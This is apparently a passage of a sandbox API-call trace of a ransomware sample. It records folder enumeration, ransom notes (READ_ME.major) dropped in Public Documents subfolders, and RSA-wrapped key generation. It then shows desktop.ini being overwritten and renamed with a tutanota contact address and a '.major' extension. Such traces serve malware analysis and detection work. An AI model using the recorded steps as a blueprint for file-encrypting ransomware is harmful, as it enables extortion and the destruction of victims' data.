dwFlags=0x0, lpMem=0x58ed60 | out: hHeap=0x570000) returned 1 [0149.312] FindNextFileW (in: hFindFile=0x6308c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb1fb672c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x150e092f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0149.312] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72e8 | out: hHeap=0x570000) returned 1 [0149.312] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0149.312] GetLastError () returned 0x0 [0149.312] SetLastError (dwErrCode=0x0) [0149.312] GetLastError () returned 0x0 [0149.312] SetLastError (dwErrCode=0x0) [0149.312] GetLastError () returned 0x0 [0149.312] SetLastError (dwErrCode=0x0) [0149.312] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ea88 [0149.312] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0149.312] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0149.312] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0149.312] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x630f80 [0149.312] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x630f80 | out: hHeap=0x570000) returned 1 [0149.312] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40648 [0149.312] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40648 | out: hHeap=0x570000) returned 1 [0149.312] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0149.312] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea88 | out: hHeap=0x570000) returned 1 [0149.312] FindNextFileW (in: hFindFile=0x6308c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fb62ca, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fb62ca, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x116, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0149.312] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0149.313] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7450 [0149.313] GetLastError () returned 0x0 [0149.313] SetLastError (dwErrCode=0x0) [0149.313] GetLastError () returned 0x0 [0149.313] SetLastError (dwErrCode=0x0) [0149.313] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0149.313] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7450 | out: hHeap=0x570000) returned 1 [0149.313] GetLastError () returned 0x0 [0149.313] SetLastError (dwErrCode=0x0) [0149.313] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589950 [0149.313] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589950 | out: hHeap=0x570000) returned 1 [0149.313] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0149.313] FindNextFileW (in: hFindFile=0x6308c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99f01ae, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99f01ae, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99f01ae, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0149.313] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0149.313] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7330 [0149.313] GetLastError () returned 0x0 [0149.313] SetLastError (dwErrCode=0x0) [0149.313] GetLastError () returned 0x0 [0149.313] SetLastError (dwErrCode=0x0) [0149.313] GetLastError () returned 0x0 [0149.313] SetLastError (dwErrCode=0x0) [0149.313] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0149.313] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589950 [0149.313] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0149.313] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589950 | out: hHeap=0x570000) returned 1 [0149.313] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bedc0 [0149.313] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0149.313] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bf028 [0149.313] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0149.313] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d370 [0149.313] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0149.314] GetLastError () returned 0x0 [0149.314] SetLastError (dwErrCode=0x0) [0149.314] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0149.314] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0149.314] GetLastError () returned 0x0 [0149.314] SetLastError (dwErrCode=0x0) [0149.314] GetLastError () returned 0x0 [0149.314] SetLastError (dwErrCode=0x0) [0149.314] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6640 [0149.314] CreateFileW (lpFileName="\\Users\\Public\\Documents\\My Music\\READ_ME.major" (normalized: "c:\\users\\public\\documents\\my music\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0149.315] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 [0149.315] WriteFile (in: hFile=0x618, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0149.327] CloseHandle (hObject=0x618) returned 1 [0149.327] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0149.327] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d370 | out: hHeap=0x570000) returned 1 [0149.327] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0149.327] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf028 | out: hHeap=0x570000) returned 1 [0149.327] FindNextFileW (in: hFindFile=0x6308c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99f01ae, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99f01ae, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99f01ae, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0149.327] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7330 | out: hHeap=0x570000) returned 1 [0149.327] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77f8 [0149.327] GetLastError () returned 0xb7 [0149.327] SetLastError (dwErrCode=0xb7) [0149.328] GetLastError () returned 0xb7 [0149.328] SetLastError (dwErrCode=0xb7) [0149.328] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0149.328] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77f8 | out: hHeap=0x570000) returned 1 [0149.328] GetLastError () returned 0xb7 [0149.328] SetLastError (dwErrCode=0xb7) [0149.328] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589950 [0149.328] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589978 [0149.328] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589950 | out: hHeap=0x570000) returned 1 [0149.328] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589978 | out: hHeap=0x570000) returned 1 [0149.328] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bf028 [0149.328] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589978 [0149.328] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be4d0 [0149.328] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0149.328] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d350 [0149.328] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c6fd0 [0149.328] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b71f0 [0149.328] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c6fd0 | out: hHeap=0x570000) returned 1 [0149.328] GetLastError () returned 0xb7 [0149.328] SetLastError (dwErrCode=0xb7) [0149.328] GetLastError () returned 0xb7 [0149.328] SetLastError (dwErrCode=0xb7) [0149.328] GetLastError () returned 0xb7 [0149.328] SetLastError (dwErrCode=0xb7) [0149.328] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cde20 [0149.328] CreateFileW (lpFileName="\\Users\\Public\\Documents\\My Pictures\\READ_ME.major" (normalized: "c:\\users\\public\\documents\\my pictures\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0149.329] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cde20 | out: hHeap=0x570000) returned 1 [0149.329] WriteFile (in: hFile=0x618, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0149.330] CloseHandle (hObject=0x618) returned 1 [0149.330] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b71f0 | out: hHeap=0x570000) returned 1 [0149.330] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d350 | out: hHeap=0x570000) returned 1 [0149.330] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0149.330] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be4d0 | out: hHeap=0x570000) returned 1 [0149.330] FindNextFileW (in: hFindFile=0x6308c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99f01ae, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99f01ae, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99f01ae, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0149.330] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0149.331] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c76d8 [0149.331] GetLastError () returned 0xb7 [0149.331] SetLastError (dwErrCode=0xb7) [0149.331] GetLastError () returned 0xb7 [0149.331] SetLastError (dwErrCode=0xb7) [0149.331] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0149.331] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c76d8 | out: hHeap=0x570000) returned 1 [0149.331] GetLastError () returned 0xb7 [0149.331] SetLastError (dwErrCode=0xb7) [0149.331] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589950 [0149.331] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0149.331] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589950 | out: hHeap=0x570000) returned 1 [0149.331] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0149.331] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be210 [0149.331] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589680 [0149.331] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bec60 [0149.331] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0149.331] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d2c0 [0149.331] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7258 [0149.331] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0149.331] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7258 | out: hHeap=0x570000) returned 1 [0149.331] GetLastError () returned 0xb7 [0149.331] SetLastError (dwErrCode=0xb7) [0149.332] GetLastError () returned 0xb7 [0149.332] SetLastError (dwErrCode=0xb7) [0149.332] GetLastError () returned 0xb7 [0149.332] SetLastError (dwErrCode=0xb7) [0149.332] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6980 [0149.332] CreateFileW (lpFileName="\\Users\\Public\\Documents\\My Videos\\READ_ME.major" (normalized: "c:\\users\\public\\documents\\my videos\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0149.333] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6980 | out: hHeap=0x570000) returned 1 [0149.333] WriteFile (in: hFile=0x618, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0149.333] CloseHandle (hObject=0x618) returned 1 [0149.334] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0149.334] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2c0 | out: hHeap=0x570000) returned 1 [0149.334] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0149.334] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bec60 | out: hHeap=0x570000) returned 1 [0149.334] FindNextFileW (in: hFindFile=0x6308c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x150e092f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x150e092f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1536910e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0149.334] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b70e0 | out: hHeap=0x570000) returned 1 [0149.334] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c76d8 [0149.334] GetLastError () returned 0xb7 [0149.334] SetLastError (dwErrCode=0xb7) [0149.334] GetLastError () returned 0xb7 [0149.334] SetLastError (dwErrCode=0xb7) [0149.334] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6fd0 [0149.334] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c76d8 | out: hHeap=0x570000) returned 1 [0149.334] GetLastError () returned 0xb7 [0149.334] SetLastError (dwErrCode=0xb7) [0149.334] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0149.334] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0149.334] FindNextFileW (in: hFindFile=0x6308c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x150e092f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x150e092f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1536910e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0149.334] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5becb8 [0149.334] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0149.334] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0149.334] SetFileAttributesW (lpFileName="\\Users\\Public\\Documents\\desktop.ini", dwFileAttributes=0x80) returned 1 [0149.335] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be268 [0149.335] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0149.335] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be268 | out: hHeap=0x570000) returned 1 [0149.335] CreateFileW (lpFileName="\\Users\\Public\\Documents\\desktop.ini" (normalized: "c:\\users\\public\\documents\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0149.335] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=278) returned 1 [0149.336] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x116) returned 0x57eca8 [0149.336] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x116) returned 0x57edc8 [0149.336] ReadFile (in: hFile=0x618, lpBuffer=0x57eca8, nNumberOfBytesToRead=0x116, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x57eca8*, lpNumberOfBytesRead=0x2e3f9b4*=0x116, lpOverlapped=0x0) returned 1 [0149.337] SetFilePointer (in: hFile=0x618, lDistanceToMove=-278, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.337] WriteFile (in: hFile=0x618, lpBuffer=0x57edc8*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x57edc8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x116, lpOverlapped=0x0) returned 1 [0149.337] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57eca8 | out: hHeap=0x570000) returned 1 [0149.337] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57edc8 | out: hHeap=0x570000) returned 1 [0149.337] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x116 [0149.337] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0149.337] WriteFile (in: hFile=0x618, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0149.337] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0149.337] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0149.337] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0149.337] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0149.337] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="AbJUQ4ax9rce8JCfiKJhENG9TKfpwW7mxc14ILQlrhnBlQmyt32UTE84vqQabNrV\n3UfILIGnahqQeEUsNGiVHy3knWGPe9WiScH1SAiQlp0iG+YBC4G4P/OYY1inVvHc\n/UHSRn7jw2XYkpJwztYA9v+VkDXPxIZAi0A//DdVqSbZxDtmIvQ2p1CwKwn0uV2g\nQMJZk7CuskEzk6KjGGLyl8BUUcZ5HhiK4AB7Ip5c46URjMEaBZ5O/GEdQln8ONvS\nrbWen6XKRVXpSjR+FCYz00Jdga3G+2qcHaMpYO/9BOj2DN5Lg2YRgpkgbVAUIgXO\nTFBWXzA9ENcr6QTS2Cs2LQ==\n", pcchString=0x2e3f9a8) returned 1 [0149.338] WriteFile (in: hFile=0x618, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0149.338] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0149.338] WriteFile (in: hFile=0x618, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0149.338] CloseHandle (hObject=0x618) returned 1 [0149.338] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0149.338] MoveFileExW (lpExistingFileName="\\Users\\Public\\Documents\\desktop.ini" (normalized: "c:\\users\\public\\documents\\desktop.ini"), lpNewFileName="\\Users\\Public\\Documents\\desktop.ini.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\public\\documents\\desktop.ini.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0149.341] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0149.341] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0149.341] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5becb8 | out: hHeap=0x570000) returned 1 [0149.341] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0149.341] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72e8 [0149.341] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0149.341] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eba0 | out: hHeap=0x570000) returned 1 [0149.341] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf80 | out: hHeap=0x570000) returned 1 [0149.342] FindFirstFileW (in: lpFileName="\\Users\\Public\\Downloads\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466cad2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1536910e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x630b40 [0149.342] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6fd0 | out: hHeap=0x570000) returned 1 [0149.342] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7888 [0149.342] GetLastError () returned 0x0 [0149.342] SetLastError (dwErrCode=0x0) [0149.342] GetLastError () returned 0x0 [0149.342] SetLastError (dwErrCode=0x0) [0149.342] GetLastError () returned 0x0 [0149.342] SetLastError (dwErrCode=0x0) [0149.342] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ed60 [0149.342] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0149.342] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0149.342] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0149.342] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x630a40 [0149.342] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x630a40 | out: hHeap=0x570000) returned 1 [0149.342] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e405e8 [0149.342] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e405e8 | out: hHeap=0x570000) returned 1 [0149.342] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0149.342] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ed60 | out: hHeap=0x570000) returned 1 [0149.342] FindNextFileW (in: hFindFile=0x630b40, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466cad2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1536910e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0149.342] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7888 | out: hHeap=0x570000) returned 1 [0149.342] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7450 [0149.342] GetLastError () returned 0x0 [0149.342] SetLastError (dwErrCode=0x0) [0149.342] 